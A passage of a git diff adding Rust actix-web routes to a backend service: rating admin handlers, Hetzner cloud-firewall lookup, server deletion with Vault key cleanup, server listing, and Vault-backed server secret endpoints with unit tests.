JsonResponse::build().set_list(ratings).ok("OK") + }) + .map_err(|_err| JsonResponse::::build().internal_server_error("")) +} + +#[tracing::instrument(name = "Admin get rating.", skip_all)] +#[get("/{id}")] +pub async fn admin_get_handler( + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let rate_id = path.0; + let rating = db::rating::fetch(pg_pool.get_ref(), rate_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|rating| match rating { + Some(rating) => Ok(rating), + _ => Err(JsonResponse::::build().not_found("not found")), + })?; + + Ok(JsonResponse::build() + .set_item(Into::::into(rating)) + .ok("OK")) +} + +#[tracing::instrument(name = "Admin get the list of ratings.", skip_all)] +#[get("")] +pub async fn admin_list_handler( + _path: web::Path<()>, + pg_pool: web::Data, +) -> Result { + db::rating::fetch_all(pg_pool.get_ref()) + .await + .map(|ratings| { + let ratings = ratings + .into_iter() + .map(Into::into) + .collect::>(); + + JsonResponse::build().set_list(ratings).ok("OK") + }) + .map_err(|_err| JsonResponse::::build().internal_server_error("")) +} diff --git a/stacker/stacker/src/routes/rating/mod.rs b/stacker/stacker/src/routes/rating/mod.rs new file mode 100644 index 0000000..11a225b --- /dev/null +++ b/stacker/stacker/src/routes/rating/mod.rs @@ -0,0 +1,9 @@ +pub mod add; +mod delete; +mod edit; +pub mod get; + +pub use add::*; +pub use delete::*; +pub use edit::*; +pub use get::*; diff --git a/stacker/stacker/src/routes/server/add.rs b/stacker/stacker/src/routes/server/add.rs new file mode 100644 index 0000000..802a99d --- /dev/null +++ b/stacker/stacker/src/routes/server/add.rs @@ -0,0 +1,76 @@ +// use crate::forms; +// use crate::helpers::JsonResponse; +// use crate::models; +// use crate::db; +// use actix_web::{post, web, Responder, Result}; +// use sqlx::PgPool; +// use tracing::Instrument; +// use std::sync::Arc; +// use serde_valid::Validate; + +// workflow +// add, update, list, get(user_id), ACL, +// ACL - access to func for a user +// ACL - access to objects for a user + +// #[tracing::instrument(name = "Add server.", skip_all)] +// #[post("")] +// pub async fn add( +// user: web::ReqData>, +// form: web::Json, +// pg_pool: web::Data, +// ) -> Result { +// // +// // if !form.validate().is_ok() { +// // let errors = form.validate().unwrap_err().to_string(); +// // let err_msg = format!("Invalid data received {:?}", &errors); +// // tracing::debug!(err_msg); +// // +// // return Err(JsonResponse::::build().form_error(errors)); +// // } +// // +// // +// // db::cloud::fetch(pg_pool.get_ref(), form.cloud_id) +// // .await +// // .map_err(|err| JsonResponse::::build().internal_server_error(err)) +// // .and_then(|cloud| { +// // match cloud { +// // Some(cloud) if cloud.user_id != user.id => { +// // Err(JsonResponse::::build().bad_request("Cloud not found")) +// // } +// // Some(cloud) => { +// // Ok(cloud) +// // }, +// // None => Err(JsonResponse::::build().not_found("Cloud not found")) +// // } +// // })?; +// // +// // db::project::fetch(pg_pool.get_ref(), form.project_id) +// // .await +// // .map_err(|_err| JsonResponse::::build() +// // .bad_request("Invalid project")) +// // .and_then(|project| { +// // match project { +// // Some(project) if project.user_id != user.id => { +// // Err(JsonResponse::::build().bad_request("Project not found")) +// // } +// // Some(project) => { Ok(project) }, +// // None => Err(JsonResponse::::build().not_found("Project not found")) +// // } +// // })?; +// // +// // let mut server: models::Server = form.into_inner().into(); +// // server.user_id = user.id.clone(); +// // +// // db::server::insert(pg_pool.get_ref(), server) +// // .await +// // .map(|server| JsonResponse::build() +// // .set_item(server) +// // .ok("success")) +// // .map_err(|err| +// // match err { +// // _ => { +// // return JsonResponse::::build().internal_server_error("Failed to insert"); +// // } +// // }) +// } diff --git a/stacker/stacker/src/routes/server/cloud_firewall.rs b/stacker/stacker/src/routes/server/cloud_firewall.rs new file mode 100644 index 0000000..819f618 --- /dev/null +++ b/stacker/stacker/src/routes/server/cloud_firewall.rs @@ -0,0 +1,615 @@ +use std::collections::BTreeMap; +use std::sync::Arc; + +use actix_web::{post, web, Responder, Result}; +use sqlx::PgPool; + +use crate::connectors::install_service::InstallServiceConnector; +use crate::db; +use crate::forms::cloud_firewall::{ + default_firewall_name, idempotency_key, normalize_provider, routing_key, rules_from_request, + validate_request, CloudFirewallAction, CloudFirewallCredentials, CloudFirewallDetails, + CloudFirewallOperationMessage, CloudFirewallProviderRule, CloudFirewallRequestedBy, + CloudFirewallTarget, ConfigureCloudFirewallRequest, ConfigureCloudFirewallResponse, + CLOUD_FIREWALL_PROTOCOL_VERSION, +}; +use crate::helpers::{JsonResponse, MqManager}; +use crate::models; + +#[tracing::instrument(name = "Configure cloud firewall for server.", skip_all)] +#[post("/{id}/cloud-firewall")] +pub async fn configure( + path: web::Path<(i32,)>, + user: web::ReqData>, + form: web::Json, + pg_pool: web::Data, + mq_manager: web::Data, + install_service: web::Data>, +) -> Result { + let server_id = path.0; + let action = validate_request(&form) + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + let server = db::server::fetch(pg_pool.get_ref(), server_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + }) + .and_then(|server| match server { + Some(server) if server.user_id == user.id => Ok(server), + _ => Err(JsonResponse::::build() + .not_found("Server not found")), + })?; + + let cloud_id = server.cloud_id.ok_or_else(|| { + JsonResponse::::build() + .bad_request("Cloud firewall operations require a cloud-managed server") + })?; + let cloud = db::cloud::fetch(pg_pool.get_ref(), cloud_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + }) + .and_then(|cloud| match cloud { + Some(cloud) if cloud.user_id == user.id => Ok(cloud), + _ => Err(JsonResponse::::build() + .not_found("Cloud credentials not found")), + })?; + + let provider = normalize_provider(&cloud.provider).ok_or_else(|| { + JsonResponse::::build() + .bad_request(format!("Unsupported cloud provider: {}", cloud.provider)) + })?; + let credentials = prepare_cloud_firewall_credentials(provider, cloud) + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + let server_public_ip = server + .srv_ip + .clone() + .filter(|ip| !ip.trim().is_empty()) + .ok_or_else(|| { + JsonResponse::::build() + .bad_request("Cloud firewall operations require a server public IP") + })?; + + let managed_scope = format!("server:{}", server.id); + let mut rules = rules_from_request(&form, managed_scope) + .map_err(|err| JsonResponse::::build().bad_request(err))?; + for rule in &mut rules { + rule.labels + .insert("stacker.server_id".to_string(), server.id.to_string()); + } + + let mut target = CloudFirewallTarget { + provider: provider.to_string(), + cloud_id, + server_id: server.id, + project_id: server.project_id, + deployment_hash: None, + server_public_ip, + provider_server_id: None, + server_name: server.name.clone().or_else(|| server.server.clone()), + region: server.region.clone(), + zone: server.zone.clone(), + firewall_id: None, + firewall_name: None, + }; + let default_firewall_name = default_firewall_name(&target); + let resolved_firewall = list_cloud_firewall(&credentials, &default_firewall_name, &target) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + apply_resolved_firewall_to_target(&mut target, &resolved_firewall); + + let mut provider_context = BTreeMap::new(); + provider_context.insert( + provider.to_string(), + serde_json::json!({ "firewall_name": resolved_firewall.name.clone() }), + ); + let firewall_name = resolved_firewall.name.clone(); + + let operation_id = format!("cfw_{}", uuid::Uuid::new_v4()); + for rule in &mut rules { + rule.labels + .insert("stacker.operation_id".to_string(), operation_id.clone()); + } + + let message = CloudFirewallOperationMessage { + protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(), + operation_id: operation_id.clone(), + idempotency_key: idempotency_key(server.id, &action, &rules), + action, + dry_run: form.dry_run, + target, + rules, + credentials, + provider_context, + requested_by: CloudFirewallRequestedBy { + user_id: user.id.clone(), + user_email: Some(user.email.clone()), + }, + }; + + if message.action == CloudFirewallAction::List { + let routing_key = routing_key(&message.target.provider).unwrap_or_default(); + + return Ok(JsonResponse::build() + .set_item(ConfigureCloudFirewallResponse { + operation_id, + accepted: true, + protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(), + provider: provider.to_string(), + server_id: server.id, + action: CloudFirewallAction::List, + rules: Vec::new(), + routing_key, + message: "Cloud firewall list retrieved".to_string(), + firewall_name: Some(firewall_name), + firewall: Some(resolved_firewall), + }) + .ok("Cloud firewall list retrieved")); + } + + let response = install_service + .configure_cloud_firewall(message, mq_manager.get_ref()) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + let routing_key = routing_key(&response.provider).unwrap_or(response.routing_key.clone()); + Ok(JsonResponse::build() + .set_item(ConfigureCloudFirewallResponse { + routing_key, + firewall_name: Some(firewall_name), + ..response + }) + .ok("Cloud firewall operation accepted")) +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerFirewallsResponse { + #[serde(default)] + firewalls: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerFirewall { + id: i64, + name: String, + #[serde(default)] + rules: Vec, + #[serde(default)] + applied_to: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerFirewallAppliedTo { + #[serde(default)] + server: Option, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerAppliedServer { + id: i64, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerServersResponse { + #[serde(default)] + servers: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerServer { + id: i64, + name: String, + #[serde(default)] + public_net: Option, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerServerPublicNet { + #[serde(default)] + ipv4: Option, + #[serde(default)] + firewalls: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerServerIpv4 { + ip: String, +} + +#[derive(Debug, serde::Deserialize)] +struct HetznerServerFirewall { + id: i64, +} + +async fn list_cloud_firewall( + credentials: &CloudFirewallCredentials, + firewall_name: &str, + target: &CloudFirewallTarget, +) -> Result { + let token = credentials + .token + .as_deref() + .ok_or_else(|| "Hetzner cloud firewall list requires a valid cloud token".to_string())?; + let client = reqwest::Client::builder() + .connect_timeout(std::time::Duration::from_secs(10)) + .timeout(std::time::Duration::from_secs(30)) + .build() + .map_err(|err| format!("Failed to initialize Hetzner API client: {}", err))?; + let response = client + .get("https://api.hetzner.cloud/v1/firewalls") + .bearer_auth(token) + .query(&[("name", firewall_name)]) + .send() + .await + .map_err(|err| format!("Failed to query Hetzner firewalls: {}", err))?; + + let status = response.status(); + if !status.is_success() { + return Err(match status.as_u16() { + 401 | 403 => { + "Hetzner rejected the saved cloud token. Please delete and re-add your Hetzner cloud credentials.".to_string() + } + _ => format!("Hetzner firewall list failed with status {}", status.as_u16()), + }); + } + + let body: HetznerFirewallsResponse = response + .json() + .await + .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))?; + let firewall = match select_single_hetzner_firewall(body.firewalls, firewall_name) { + Ok(firewall) => firewall, + Err(err) if err.starts_with("Hetzner firewall not found:") => { + list_hetzner_firewall_attached_to_server(&client, token, target) + .await? + .ok_or_else(|| { + format!( + "{}. No firewall attached to server {} was found either", + err, target.server_public_ip + ) + })? + } + Err(err) => return Err(err), + }; + + Ok(CloudFirewallDetails { + id: Some(firewall.id), + name: firewall.name, + rules: firewall.rules, + }) +} + +async fn list_hetzner_firewall_attached_to_server( + client: &reqwest::Client, + token: &str, + target: &CloudFirewallTarget, +) -> Result, String> { + let response = client + .get("https://api.hetzner.cloud/v1/servers") + .bearer_auth(token) + .send() + .await + .map_err(|err| format!("Failed to query Hetzner servers: {}", err))?; + + let status = response.status(); + if !status.is_success() { + return Err(format!( + "Hetzner server lookup failed with status {} while resolving firewall for {}", + status.as_u16(), + target.server_public_ip + )); + } + + let body: HetznerServersResponse = response + .json() + .await + .map_err(|err| format!("Invalid Hetzner server response: {}", err))?; + let server = select_hetzner_server_for_target(body.servers, target); + let Some(server) = server else { + return Ok(None); + }; + + if let Some(firewall_id) = server + .public_net + .as_ref() + .and_then(|public_net| public_net.firewalls.first()) + .map(|firewall| firewall.id) + { + let response = client + .get(format!( + "https://api.hetzner.cloud/v1/firewalls/{}", + firewall_id + )) + .bearer_auth(token) + .send() + .await + .map_err(|err| format!("Failed to query Hetzner firewall {}: {}", firewall_id, err))?; + let status = response.status(); + if !status.is_success() { + return Err(format!( + "Hetzner firewall {} lookup failed with status {}", + firewall_id, + status.as_u16() + )); + } + return response + .json::() + .await + .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))? + .get("firewall") + .cloned() + .map(serde_json::from_value) + .transpose() + .map_err(|err| format!("Invalid Hetzner firewall response: {}", err)); + } + + let response = client + .get("https://api.hetzner.cloud/v1/firewalls") + .bearer_auth(token) + .send() + .await + .map_err(|err| format!("Failed to query Hetzner firewalls: {}", err))?; + let status = response.status(); + if !status.is_success() { + return Err(format!( + "Hetzner firewall lookup failed with status {} while resolving attached firewall", + status.as_u16() + )); + } + let body: HetznerFirewallsResponse = response + .json() + .await + .map_err(|err| format!("Invalid Hetzner firewall response: {}", err))?; + + Ok(body + .firewalls + .into_iter() + .find(|firewall| firewall_applies_to_server(firewall, server.id))) +} + +fn select_single_hetzner_firewall( + firewalls: Vec, + firewall_name: &str, +) -> Result { + let mut firewalls = firewalls.into_iter(); + match (firewalls.next(), firewalls.next()) { + (None, _) => Err(format!("Hetzner firewall not found: {}", firewall_name)), + (Some(firewall), None) => Ok(firewall), + (Some(_), Some(_)) => Err(format!( + "Multiple Hetzner firewalls found with name '{}'; expected exactly one", + firewall_name + )), + } +} + +fn select_hetzner_server_for_target( + servers: Vec, + target: &CloudFirewallTarget, +) -> Option { + let target_ip = target.server_public_ip.trim(); + let target_name = target.server_name.as_deref().unwrap_or("").trim(); + + servers.into_iter().find(|server| { + let server_ip = server + .public_net + .as_ref() + .and_then(|public_net| public_net.ipv4.as_ref()) + .map(|ipv4| ipv4.ip.as_str()); + (!target_ip.is_empty() && server_ip == Some(target_ip)) + || (!target_name.is_empty() && server.name == target_name) + }) +} + +fn firewall_applies_to_server(firewall: &HetznerFirewall, server_id: i64) -> bool { + firewall + .applied_to + .iter() + .filter_map(|target| target.server.as_ref()) + .any(|server| server.id == server_id) +} + +fn apply_resolved_firewall_to_target( + target: &mut CloudFirewallTarget, + firewall: &CloudFirewallDetails, +) { + target.firewall_id = firewall.id.map(|id| id.to_string()); + target.firewall_name = Some(firewall.name.clone()); +} + +fn prepare_cloud_firewall_credentials( + provider: &str, + cloud: models::Cloud, +) -> Result { + let cloud = if cloud.save_token == Some(true) { + crate::forms::CloudForm::decode_model(cloud, true) + } else { + cloud + }; + let token = non_empty_secret(cloud.cloud_token); + let key = non_empty_secret(cloud.cloud_key); + let secret = non_empty_secret(cloud.cloud_secret); + + if provider == "htz" && token.is_none() { + return Err( + "Hetzner cloud firewall operations require a valid cloud token. Please delete and re-add your Hetzner cloud credentials." + .to_string(), + ); + } + + Ok(CloudFirewallCredentials { + provider: provider.to_string(), + token, + key, + secret, + }) +} + +fn non_empty_secret(value: Option) -> Option { + value + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::forms::CloudForm; + use std::sync::Mutex; + + static ENV_MUTEX: Mutex<()> = Mutex::new(()); + const TEST_SECURITY_KEY: &str = "01234567890123456789012345678901"; + + fn encrypted_cloud(token: &str) -> models::Cloud { + let form = CloudForm { + user_id: Some("user-1".to_string()), + project_id: None, + name: Some("prod-hetzner".to_string()), + provider: "htz".to_string(), + cloud_token: Some(token.to_string()), + cloud_key: None, + cloud_secret: None, + save_token: Some(true), + }; + + (&form).into() + } + + fn plaintext_cloud(token: &str) -> models::Cloud { + models::Cloud::new( + "user-1".to_string(), + "prod-hetzner".to_string(), + "htz".to_string(), + Some(token.to_string()), + None, + None, + Some(false), + ) + } + + #[test] + fn prepare_cloud_firewall_credentials_decodes_saved_token() { + let _lock = ENV_MUTEX.lock().unwrap(); + std::env::set_var("SECURITY_KEY", TEST_SECURITY_KEY); + let cloud = encrypted_cloud("live-hcloud-token"); + let encrypted_token = cloud.cloud_token.clone(); + + let credentials = prepare_cloud_firewall_credentials("htz", cloud).unwrap(); + + assert_eq!(credentials.token.as_deref(), Some("live-hcloud-token")); + assert_ne!(credentials.token, encrypted_token); + std::env::remove_var("SECURITY_KEY"); + } + + #[test] + fn prepare_cloud_firewall_credentials_accepts_plaintext_token() { + let cloud = plaintext_cloud("plain-hcloud-token"); + + let credentials = prepare_cloud_firewall_credentials("htz", cloud).unwrap(); + + assert_eq!(credentials.token.as_deref(), Some("plain-hcloud-token")); + } + + #[test] + fn select_single_hetzner_firewall_rejects_ambiguous_matches() { + let firewalls = vec![ + HetznerFirewall { + id: 1, + name: "frw-test".to_string(), + rules: Vec::new(), + applied_to: Vec::new(), + }, + HetznerFirewall { + id: 2, + name: "frw-test".to_string(), + rules: Vec::new(), + applied_to: Vec::new(), + }, + ]; + + let error = select_single_hetzner_firewall(firewalls, "frw-test").unwrap_err(); + + assert!(error.contains("Multiple Hetzner firewalls")); + } + + #[test] + fn apply_resolved_firewall_sets_target_identity() { + let mut target = CloudFirewallTarget { + provider: "htz".to_string(), + cloud_id: 1, + server_id: 10, + project_id: 20, + deployment_hash: None, + server_public_ip: "203.0.113.10".to_string(), + provider_server_id: None, + server_name: Some("stale-name".to_string()), + region: None, + zone: None, + firewall_id: None, + firewall_name: None, + }; + let firewall = CloudFirewallDetails { + id: Some(10957668), + name: "frw-coolify-zxiuehu1".to_string(), + rules: Vec::new(), + }; + + apply_resolved_firewall_to_target(&mut target, &firewall); + + assert_eq!(target.firewall_id.as_deref(), Some("10957668")); + assert_eq!( + target.firewall_name.as_deref(), + Some("frw-coolify-zxiuehu1") + ); + } + + #[test] + fn select_hetzner_server_for_target_prefers_public_ip() { + let target = CloudFirewallTarget { + provider: "htz".to_string(), + cloud_id: 1, + server_id: 10, + project_id: 20, + deployment_hash: None, + server_public_ip: "203.0.113.10".to_string(), + provider_server_id: None, + server_name: Some("stale-name".to_string()), + region: None, + zone: None, + firewall_id: None, + firewall_name: None, + }; + let servers = vec![HetznerServer { + id: 123, + name: "current-name".to_string(), + public_net: Some(HetznerServerPublicNet { + ipv4: Some(HetznerServerIpv4 { + ip: "203.0.113.10".to_string(), + }), + firewalls: vec![HetznerServerFirewall { id: 456 }], + }), + }]; + + let server = select_hetzner_server_for_target(servers, &target).unwrap(); + + assert_eq!(server.id, 123); + } + + #[test] + fn firewall_applies_to_server_matches_applied_server_id() { + let firewall = HetznerFirewall { + id: 456, + name: "frw-current".to_string(), + rules: Vec::new(), + applied_to: vec![HetznerFirewallAppliedTo { + server: Some(HetznerAppliedServer { id: 123 }), + }], + }; + + assert!(firewall_applies_to_server(&firewall, 123)); + assert!(!firewall_applies_to_server(&firewall, 124)); + } +} diff --git a/stacker/stacker/src/routes/server/delete.rs b/stacker/stacker/src/routes/server/delete.rs new file mode 100644 index 0000000..6211309 --- /dev/null +++ b/stacker/stacker/src/routes/server/delete.rs @@ -0,0 +1,159 @@ +use crate::db; +use crate::helpers::{JsonResponse, VaultClient}; +use crate::models; +use crate::models::Server; +use actix_web::{delete, get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +/// Preview what would be deleted if the server is removed. +/// Returns: ssh_key_shared, affected_deployments, agent_count +#[tracing::instrument(name = "Preview server deletion impact.", skip_all)] +#[get("/{id}/delete-preview")] +pub async fn delete_preview( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let (id,) = path.into_inner(); + + let server = db::server::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|server| match server { + Some(server) if server.user_id != user.id => { + Err(JsonResponse::::build().not_found("")) + } + Some(server) => Ok(server), + None => Err(JsonResponse::::build().not_found("")), + })?; + + // Check if SSH key is shared with other servers + let ssh_key_shared = if let Some(ref vault_path) = server.vault_key_path { + let user_servers = db::server::fetch_by_user(pg_pool.get_ref(), &user.id) + .await + .unwrap_or_default(); + + user_servers + .iter() + .any(|s| s.id != server.id && s.vault_key_path.as_deref() == Some(vault_path.as_str())) + } else { + false + }; + + // Find affected deployments via project + let mut affected_deployments: Vec = Vec::new(); + let mut agent_count: usize = 0; + + if let Ok(Some(deployment)) = + db::deployment::fetch_by_project_id(pg_pool.get_ref(), server.project_id).await + { + affected_deployments.push(serde_json::json!({ + "deployment_hash": deployment.deployment_hash, + "status": deployment.status, + })); + + // Check for agent + if let Ok(Some(_agent)) = + db::agent::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment.deployment_hash) + .await + { + agent_count += 1; + } + } + + Ok(JsonResponse::::build() + .set_item(serde_json::json!({ + "ssh_key_shared": ssh_key_shared, + "affected_deployments": affected_deployments, + "agent_count": agent_count, + })) + .ok("Delete preview")) +} + +#[tracing::instrument(name = "Delete user's server with cleanup.", skip_all)] +#[delete("/{id}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, + vault_client: web::Data, +) -> Result { + let (id,) = path.into_inner(); + + let server = db::server::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|server| match server { + Some(server) if server.user_id != user.id => { + Err(JsonResponse::::build().not_found("")) + } + Some(server) => Ok(server), + None => Err(JsonResponse::::build().not_found("")), + })?; + + // 1. Check if SSH key is shared before cleaning up + let ssh_key_shared = if let Some(ref vault_path) = server.vault_key_path { + let user_servers = db::server::fetch_by_user(pg_pool.get_ref(), &user.id) + .await + .unwrap_or_default(); + + user_servers + .iter() + .any(|s| s.id != server.id && s.vault_key_path.as_deref() == Some(vault_path.as_str())) + } else { + false + }; + + // 2. Delete SSH key from Vault if not shared and key exists + if !ssh_key_shared && server.vault_key_path.is_some() { + if let Err(e) = vault_client.delete_ssh_key(&user.id, server.id).await { + tracing::warn!( + "Failed to delete SSH key from Vault for server {}: {}. Continuing with server deletion.", + server.id, + e + ); + } + } + + // 3. Clean up agents linked via deployment → project + if let Ok(Some(deployment)) = + db::deployment::fetch_by_project_id(pg_pool.get_ref(), server.project_id).await + { + // Delete agent record + if let Ok(Some(agent)) = + db::agent::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment.deployment_hash) + .await + { + // Delete agent token from Vault + if let Err(e) = vault_client + .delete_agent_token(&deployment.deployment_hash) + .await + { + tracing::warn!( + "Failed to delete agent token from Vault for deployment {}: {}", + deployment.deployment_hash, + e + ); + } + + // Delete agent record from DB + if let Err(e) = db::agent::delete(pg_pool.get_ref(), agent.id).await { + tracing::warn!( + "Failed to delete agent record for deployment {}: {}", + deployment.deployment_hash, + e + ); + } + } + } + + // 4. Delete server record from DB + db::server::delete(pg_pool.get_ref(), server.id, &user.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|result| match result { + true => Ok(JsonResponse::::build().ok("Item deleted")), + _ => Err(JsonResponse::::build().bad_request("Could not delete")), + }) +} diff --git a/stacker/stacker/src/routes/server/get.rs b/stacker/stacker/src/routes/server/get.rs new file mode 100644 index 0000000..ac8ad8b --- /dev/null +++ b/stacker/stacker/src/routes/server/get.rs @@ -0,0 +1,74 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; +// use tracing::Instrument; + +// workflow +// add, update, list, get(user_id), ACL, +// ACL - access to func for a user +// ACL - access to objects for a user + +#[tracing::instrument(name = "Get server.", skip_all)] +#[get("/{id}")] +pub async fn item( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let id = path.0; + db::server::fetch(pg_pool.get_ref(), id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|server| match server { + Some(project) if project.user_id != user.id => { + Err(JsonResponse::not_found("not found")) + } + Some(server) => Ok(JsonResponse::build().set_item(Some(server)).ok("OK")), + None => Err(JsonResponse::not_found("not found")), + }) +} + +#[tracing::instrument(name = "Get all servers.", skip_all)] +#[get("")] +pub async fn list( + _path: web::Path<()>, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + db::server::fetch_by_user_with_provider(pg_pool.get_ref(), user.id.as_ref()) + .await + .map(|servers| JsonResponse::build().set_list(servers).ok("OK")) + .map_err(|_err| { + JsonResponse::::build().internal_server_error("") + }) +} + +#[tracing::instrument(name = "Get servers by project.", skip_all)] +#[get("/project/{project_id}")] +pub async fn list_by_project( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let project_id = path.0; + + // Verify user owns the project + let _project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|p| match p { + Some(proj) if proj.user_id != user.id => { + Err(JsonResponse::::build().not_found("Project not found")) + } + Some(proj) => Ok(proj), + None => Err(JsonResponse::::build().not_found("Project not found")), + })?; + + db::server::fetch_by_project(pg_pool.get_ref(), project_id) + .await + .map(|servers| JsonResponse::build().set_list(servers).ok("OK")) + .map_err(|_err| JsonResponse::::build().internal_server_error("")) +} diff --git a/stacker/stacker/src/routes/server/mod.rs b/stacker/stacker/src/routes/server/mod.rs new file mode 100644 index 0000000..ac97557 --- /dev/null +++ b/stacker/stacker/src/routes/server/mod.rs @@ -0,0 +1,12 @@ +pub mod add; +pub(crate) mod cloud_firewall; +pub(crate) mod delete; +pub(crate) mod get; +pub(crate) mod secret; +pub(crate) mod ssh_key; +pub(crate) mod update; + +// pub use get::*; +// pub use add::*; +// pub use update::*; +// pub use delete::*; diff --git a/stacker/stacker/src/routes/server/secret.rs b/stacker/stacker/src/routes/server/secret.rs new file mode 100644 index 0000000..8276fbf --- /dev/null +++ b/stacker/stacker/src/routes/server/secret.rs @@ -0,0 +1,192 @@ +use crate::db; +use crate::forms::{RemoteSecretMetadataResponse, UpsertRemoteSecretRequest}; +use crate::helpers::JsonResponse; +use crate::models; +use crate::services::VaultService; +use actix_web::{delete, get, put, web, Responder, Result}; +use serde_json::json; +use serde_valid::Validate; +use sqlx::PgPool; +use std::sync::Arc; + +const STATUS_PANEL_NPM_CREDENTIALS_SECRET: &str = "npm_credentials"; + +async fn fetch_owned_server( + pool: &PgPool, + user: &models::User, + server_id: i32, +) -> Result { + let server = db::server::fetch(pool, server_id) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Server not found"))?; + + if server.user_id != user.id { + return Err(JsonResponse::not_found("Server not found")); + } + + Ok(server) +} + +fn build_vault( + settings: &crate::configuration::Settings, +) -> Result { + VaultService::from_settings(&settings.vault) + .map_err(|error| JsonResponse::internal_server_error(error.to_string())) +} + +fn uses_status_panel_npm_credentials_contract(name: &str) -> bool { + name == STATUS_PANEL_NPM_CREDENTIALS_SECRET +} + +fn server_secret_vault_path( + vault: &VaultService, + user_id: &str, + server_id: i32, + name: &str, +) -> String { + if uses_status_panel_npm_credentials_contract(name) { + vault.status_panel_npm_credentials_path(server_id) + } else { + vault.server_secret_path(user_id, server_id, name) + } +} + +#[tracing::instrument(name = "List server secrets", skip_all)] +#[get("/{server_id}/secrets")] +pub async fn list( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + let server_id = path.into_inner().0; + let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?; + + let items: Vec = + db::remote_secret::list_server_secrets(pg_pool.get_ref(), &user.id, server_id) + .await + .map_err(JsonResponse::internal_server_error)? + .into_iter() + .map(Into::into) + .collect(); + + Ok(JsonResponse::build() + .set_list(items) + .set_meta(json!({ + "server_id": server_id + })) + .ok("OK")) +} + +#[tracing::instrument(name = "Get server secret metadata", skip_all)] +#[get("/{server_id}/secrets/{name}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, +) -> Result { + let (server_id, name) = path.into_inner(); + let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?; + + let secret = + db::remote_secret::fetch_server_secret(pg_pool.get_ref(), &user.id, server_id, &name) + .await + .map_err(JsonResponse::internal_server_error)? + .ok_or_else(|| JsonResponse::not_found("Secret not found"))?; + + Ok(JsonResponse::build() + .set_item(RemoteSecretMetadataResponse::from(secret)) + .ok("OK")) +} + +#[tracing::instrument(name = "Upsert server secret", skip_all)] +#[put("/{server_id}/secrets/{name}")] +pub async fn upsert( + user: web::ReqData>, + path: web::Path<(i32, String)>, + body: web::Json, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let (server_id, name) = path.into_inner(); + let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?; + body.validate() + .map_err(|e| JsonResponse::bad_request(e.to_string()))?; + + let vault = build_vault(settings.get_ref())?; + let vault_path = server_secret_vault_path(&vault, &user.id, server_id, &name); + if uses_status_panel_npm_credentials_contract(&name) { + let parsed = serde_json::from_str::(&body.value).map_err(|error| { + JsonResponse::bad_request(format!( + "npm_credentials body must be valid JSON: {}", + error + )) + })?; + if !parsed.is_object() { + return Err(JsonResponse::bad_request( + "npm_credentials body must be a JSON object".to_string(), + )); + } + vault + .store_structured_secret_value(&vault_path, &parsed) + .await + .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?; + } else { + vault + .store_secret_value(&vault_path, &body.value) + .await + .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?; + } + + let secret = db::remote_secret::upsert_server_secret( + pg_pool.get_ref(), + &user.id, + server_id, + &name, + &vault_path, + &user.id, + "synced", + ) + .await + .map_err(JsonResponse::internal_server_error)?; + + Ok(JsonResponse::build() + .set_item(RemoteSecretMetadataResponse::from(secret)) + .ok("OK")) +} + +#[tracing::instrument(name = "Delete server secret", skip_all)] +#[delete("/{server_id}/secrets/{name}")] +pub async fn delete( + user: web::ReqData>, + path: web::Path<(i32, String)>, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let (server_id, name) = path.into_inner(); + let _server = fetch_owned_server(pg_pool.get_ref(), &user, server_id).await?; + + let secret = + db::remote_secret::fetch_server_secret(pg_pool.get_ref(), &user.id, 